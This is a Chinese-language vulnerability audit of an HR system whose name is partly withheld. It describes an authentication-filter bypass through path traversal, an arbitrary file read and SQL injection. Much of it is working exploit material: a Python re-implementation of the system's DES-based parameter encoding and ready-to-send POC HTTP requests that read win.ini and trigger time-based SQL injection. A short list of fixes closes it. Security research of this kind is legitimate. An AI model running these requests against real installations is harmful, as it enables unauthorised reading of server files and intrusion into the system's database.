记某景的一次代码审计
字数 1094 2025-08-18 17:33:13
某景系统漏洞审计与利用技术分析
0x00 前言
本文档详细分析某景系统中存在的多个安全漏洞,包括路径穿越绕过鉴权、文件读取漏洞和SQL注入漏洞。通过代码审计的方式,深入剖析漏洞原理,并提供完整的漏洞利用方案。
0x01 过滤器鉴权绕过分析
漏洞原理
系统使用HireKeywordFilter类进行接口鉴权,但存在路径穿越漏洞可绕过鉴权检查。
关键代码分析:
var3.doFilter(var1, var2); // 调用FilterChain对象的doFilter方法
当请求URI以/w_selfservice/oauthservlet开头时,会直接放行请求。通过构造特殊路径可以绕过鉴权:
/w_selfservice/oauthservlet../../
利用方法
在请求中构造上述路径,可以访问原本需要鉴权的接口。
0x02 漏洞审计分析
1. DisplayFiles文件读取漏洞
漏洞位置
web.xml中配置的DisplayFiles接口
漏洞原理
- 前端接收
filepath参数 - 参数经过
SafeCode.decode和PubFunc.decrypt方法解密 - 解密后的路径直接传入
File类进行文件读取
关键代码
// 从前端接收filepath参数
String var3 = request.getParameter("filepath");
// 解密处理
var3 = SafeCode.decode(var3);
var3 = PubFunc.decrypt(var3);
// 文件操作
File var4 = new File(var3);
// 读取文件内容并输出到响应
2. showmediainfo SQL注入漏洞
漏洞位置
web.xml中配置的showmediainfo接口
漏洞原理
- 接收三个参数:
usernumber(var3)i9999(var4)kind(var5)
- 参数直接拼接到SQL语句中
usernumber和i9999参数存在注入点usernumber参数需要解密,i9999可直接注入
关键代码
String var3 = request.getParameter("usernumber");
String var4 = request.getParameter("i9999");
String var5 = request.getParameter("kind");
// usernumber需要解密
var3 = PubFunc.decrypt(var3);
// SQL拼接
String sql;
if (var5.equalsIgnoreCase("0")) {
sql = "SELECT * FROM table WHERE usernumber='" + var3 + "'";
} else {
sql = "SELECT * FROM table WHERE id='" + var4 + "'";
}
0x03 加解密机制分析
加密流程分析
public static String encrypt(String var0) {
if (null == var0) {
return "";
} else {
// 1. 使用SafeCode.encrypt进行DES加密
String var1 = SafeCode.encrypt(var0);
// 2. 特殊字符替换
var1 = var1.replaceAll("%", "@2HJ5@");
var1 = var1.replaceAll("\\+", "@2HJB@");
var1 = var1.replaceAll(" ", "@2HJ0@");
var1 = var1.replaceAll("\\/", "@2HJF@");
var1 = var1.replaceAll("\\?", "@3HJF@");
var1 = var1.replaceAll("#", "@2HJ3@");
var1 = var1.replaceAll("&", "@2HJ6@");
var1 = var1.replaceAll("=", "@3HJD@");
// 3. 移除换行符
var1 = var1.replaceAll("\\r\\n", "").replaceAll("\\n", "").replaceAll("\\r", "");
// 4. @符号替换
var1 = var1.replaceAll("@", "PAATTP");
return var1;
}
}
解密流程分析
public static String decrypt(String var0) {
if (null == var0) {
return "";
} else {
// 逆向替换操作
var0 = var0.replaceAll("PAATTP", "@");
var0 = var0.replaceAll("@2HJ5@", "%");
var0 = var0.replaceAll("@2HJB@", "\\+");
var0 = var0.replaceAll("@2HJ0@", " ");
var0 = var0.replaceAll("@2HJF@", "\\/");
var0 = var0.replaceAll("@3HJF@", "\\?");
var0 = var0.replaceAll("@2HJ3@", "#");
var0 = var0.replaceAll("@2HJ6@", "&");
var0 = var0.replaceAll("@3HJD@", "=");
// DES解密
String var1 = SafeCode.decrypt(var0);
return var1;
}
}
Python加解密实现
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad, unpad
from base64 import b64encode, b64decode
def encrypt(key, data):
key = key.encode('utf-8')
data = data.encode('utf-8')
iv = b'\x01\x02\x03\x04\x05\x06\x07\x08' # 初始化向量
cipher = DES.new(key, DES.MODE_CBC, iv)
ct_bytes = cipher.encrypt(pad(data, DES.block_size))
var1 = b64encode(ct_bytes).decode('utf-8')
# 字符替换
var1 = var1.replace("%", "@2HJ5@")
var1 = var1.replace("+", "@2HJB@")
var1 = var1.replace(" ", "@2HJ0@")
var1 = var1.replace("/", "@2HJF@")
var1 = var1.replace("?", "@3HJF@")
var1 = var1.replace("#", "@2HJ3@")
var1 = var1.replace("&", "@2HJ6@")
var1 = var1.replace("=", "@3HJD@")
var1 = var1.replace("\r\n", "").replace("\n", "").replace("\r", "")
var1 = var1.replace("@", "PAATTP")
return var1
def decrypt(key, encrypted_data):
key = key.encode('utf-8')
# 逆向字符替换
encrypted_data = encrypted_data.replace("PAATTP", "@")
encrypted_data = encrypted_data.replace("@2HJ5@", "%")
encrypted_data = encrypted_data.replace("@2HJB@", "+")
encrypted_data = encrypted_data.replace("@2HJ0@", " ")
encrypted_data = encrypted_data.replace("@2HJF@", "/")
encrypted_data = encrypted_data.replace("@3HJF@", "?")
encrypted_data = encrypted_data.replace("@2HJ3@", "#")
encrypted_data = encrypted_data.replace("@2HJ6@", "&")
encrypted_data = encrypted_data.replace("@3HJD@", "=")
encrypted_data = b64decode(encrypted_data)
iv = b'\x01\x02\x03\x04\x05\x06\x07\x08'
cipher = DES.new(key, DES.MODE_CBC, iv)
pt_bytes = unpad(cipher.decrypt(encrypted_data), DES.block_size)
return pt_bytes.decode('utf-8')
0x04 漏洞利用POC
1. DisplayFiles文件读取漏洞利用
步骤1:加密文件路径
key = "xxxxx" # 实际DES密钥
data = "c:/windows/win.ini"
encrypted_data = encrypt(key, data)
print("Encrypted:", encrypted_data)
步骤2:发送恶意请求
POST /templates/attestation/../../servlet/DisplayFiles HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
filepath=Iy4ZOyMhERdhPLlFrJHBaRdJo53c25S1
2. showmediainfo SQL注入漏洞利用
情况1:i9999参数注入 (kind=1)
直接注入POC:
POST /templates/attestation/../../workbench/duty/showmediainfo HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
kind=1&usernumber=&i9999=12' waitfor delay '0:0:6'--+
情况2:usernumber参数注入 (kind=0)
步骤1:加密payload
key = "xxxxx"
data = "1' if db_name(1)='master' waitfor delay '0:0:6'--+"
encrypted_data = encrypt(key, data)
print("Encrypted:", encrypted_data)
步骤2:发送恶意请求
POST /templates/attestation/../../workbench/duty/showmediainfo HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
kind=0&usernumber=i8hoHAILh4YkvJtIAayRbk4pSpIEAvWmx22WPMFig6wPAATTP3HJDPAATTP&i9999=
0x05 防御建议
-
鉴权修复:
- 严格校验请求路径,防止路径穿越
- 对所有接口实施统一的鉴权机制
-
文件读取漏洞修复:
- 限制可访问的文件目录
- 对文件路径进行规范化处理
- 实施白名单机制,只允许访问特定文件
-
SQL注入修复:
- 使用预编译语句(PreparedStatement)
- 实施参数化查询
- 对输入参数进行严格校验
-
加解密机制改进:
- 使用更安全的加密算法(AES替代DES)
- 密钥不应硬编码在代码中
- 实施密钥轮换机制
-
其他建议:
- 实施WAF防护
- 定期进行安全审计
- 建立安全开发流程(SDL)